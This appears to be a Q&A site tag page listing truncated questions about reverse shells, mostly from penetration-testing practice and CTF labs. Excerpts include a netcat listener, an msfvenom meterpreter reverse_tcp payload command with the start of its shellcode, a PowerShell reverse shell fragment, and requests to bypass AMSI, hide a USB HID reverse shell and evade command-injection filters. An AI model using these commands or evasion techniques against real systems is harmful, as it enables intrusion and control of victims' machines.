Questions tagged [reverse-shell]
The reverse-shell tag has no usage guidance.
21
questions
0
votes
0answers
26 views
Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn't work?
I've completed kioptrix level 2 challenge via sql injection, command injection, bash reverse shell, and local privilege escalation as part of my OSCP preparation.
https://www.vulnhub.com/entry/...
-3
votes
0answers
34 views
What is the best way to upgrade a netcat low priv shell into a high priv shell [closed]
So say I ran a python reverse shell script on a victim machine and caught the connection on my machine using netcat -nvlp 4444. What would be the best way to upgrade this shell? Is there a way to ...
0
votes
1answer
51 views
When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener
When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions.
When attempting to replicate this in metasploit I use set payload windows/...
0
votes
1answer
49 views
How do you securely give access to a Java App interactive console (Linux/GNU)?
I have a Java App running, which prints out messages into STDOUT and also has an active interactive console (also accepts STDIN), when the server has started up.
How do I securely give access to an ...
1
vote
0answers
69 views
Bypass AMSI Windows 10
I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it?
In a file I store the payload
$client = New-Object System.Net....
-1
votes
2answers
37 views
Hide reverse shell window launched with HID attack
GOAL: the attacker insert into a victim's laptop an USB which act as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal.
PROBLEM: the tests I did locally (...
0
votes
1answer
114 views
What is bindshell backdoor?
I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit.
I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "...
0
votes
0answers
20 views
Disassemble a release version of an Electron App via LLDB
I am trying to disassemble of an electron app in my OSX (Mac os catalina 10.15.3) via LLDB.
lldb path/to/Electron.app
>>> Current executable set to 'path/to/Electron.app' (x86_64).
After ...
0
votes
0answers
113 views
Getting an Interactive Powershell Reverse Shell Using socat
I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell.
Kali Listener
# socat - tcp4-listen:1338
Windows (socat.exe used from here: https:...
0
votes
0answers
28 views
How can I interact with prompts through Cobalt Strike?
For example when a command asks the user for input via [y/n] how can I input data in there via the interactive shell?
0
votes
0answers
22 views
How is it possible for people to reverse a GoToAssist session? [duplicate]
I am puzzled by how people on Youtube bait scammers into connecting to their machines and end up "reversing" the connection on them. Essentially controlling the scammer's PC.
Is this done via reverse ...
0
votes
1answer
93 views
I set up a successful reverse shell but my commands return nothing
I recently successfully uploaded an msfvenom binary payload into a Windows server 2008 VM.
My netcat listener displays the following message:
connect to [lhost ip] from (UNKNOWN) [rhost ip] 49155
...
0
votes
0answers
35 views
Spawned reverse shell will not run additional commands
I am new to this, so I applogise if this is a silly question!
I have created a reverse shell on a Windows box using an exploit script and the following MSFVENOM to create a reverse shell.
msfvenom -...
1
vote
1answer
119 views
Why is a bind shell sometimes blocked when a reverse shell is not?
I understood the difference between them. The problem is I am not sure when to use each. I mean, if a firewall will block my connection to the target when I use bind shell, why the connection will not ...
3
votes
1answer
145 views
How to detect backdoor/root shells?
Let's assume I'm a user with root access to a machine and I'm a legit user. My machine/server runs Linux. I'm not very familiar with defensive security (I mainly practice offensive). Sometimes, ...
0
votes
1answer
433 views
Metasploit - Does the multi handler sends the payload, or just listens for connection
Does the metasploit module: exploit/multi/handler
sends payloads to stagers?
Or does it just listens for an incoming connection like a netcat
listener?
Or does it do both, as needed?
0
votes
1answer
225 views
Executing shellcode in python format [closed]
So after running the command:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py
I receive the output:
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
2
votes
0answers
61 views
Reverse TCP - Bind to a specific port
So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
0
votes
1answer
699 views
Command injection — filtering bypass [closed]
I am testing a python script that provides a ping function
os.system('ping ' + command)
all of this characters are filtered
'&', ';', '-', '`' , '||', '|'
i can't use null bytes like %0A i'...
1
vote
2answers
117 views
Metasploit multi handler reverse tcp connection
Can we listen for 10 connections at once using any options present in Metasploit.
0
votes
2answers
125 views
Unable to execute PHP, throws 500 error. Able to upload and execute all others
I managed to upload a PHP shell using an upload form with some tweaking. No such restrictions except it renames the uploaded file to md5. But when I tried to execute the shell, It shows a 500 error. I ...
